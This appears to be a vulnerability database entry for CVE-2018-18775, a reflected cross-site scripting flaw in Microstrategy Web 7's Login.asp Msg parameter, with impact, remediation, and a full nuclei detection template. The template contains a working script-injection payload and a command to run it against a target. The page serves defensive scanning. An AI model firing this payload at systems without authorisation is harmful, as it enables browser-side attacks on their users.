HexBrain

Browse / CVEs / CVE-2018-18775

CVE-2018-18775· microstrategy / microstrategy web· CWE-79

Microstrategy Web 7 - Cross-Site Scripting

mediumseverity
6.1CVSS score
7.9%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

Microstrategy Web 7 does not sufficiently encode user-controlled inputs, resulting in cross-site scripting via the Login.asp Msg parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest security patches or updates provided by Microstrategy to fix the XSS vulnerability in the Web 7 application.

How to confirm it

Send: GET {{BaseURL}}/microstrategy7/Login.asp?Server=Server001&Project=Project001&Port=0&Uid=Uid001&Msg=%22%3E%3Cscript%3Ealert(/{{randstr}}/)%3B%3C%2Fscript%…
Positive when: contains "\"><script>alert(/{{randstr}}/);</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2018-18775 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2018-18775

info:
  name: Microstrategy Web 7 - Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: Microstrategy Web 7 does not sufficiently encode user-controlled inputs, resulting in cross-site scripting via the Login.asp Msg parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by Microstrategy to fix the XSS vulnerability in the Web 7 application.
  reference:
    - https://www.exploit-db.com/exploits/45755
    - http://packetstormsecurity.com/files/150059/Microstrategy-Web-7-Cross-Site-Scripting-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-18775
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-18775
    cwe-id: CWE-79
    epss-score: 0.07905
    epss-percentile: 0.94763
    cpe: cpe:2.3:a:microstrategy:microstrategy_web:7:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: microstrategy
    product: microstrategy_web
  tags: cve2018,cve,microstrategy,xss,edb,packetstorm,intrusive,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/microstrategy7/Login.asp?Server=Server001&Project=Project001&Port=0&Uid=Uid001&Msg=%22%3E%3Cscript%3Ealert(/{{randstr}}/)%3B%3C%2Fscript%3E%3C"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(/{{randstr}}/);</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from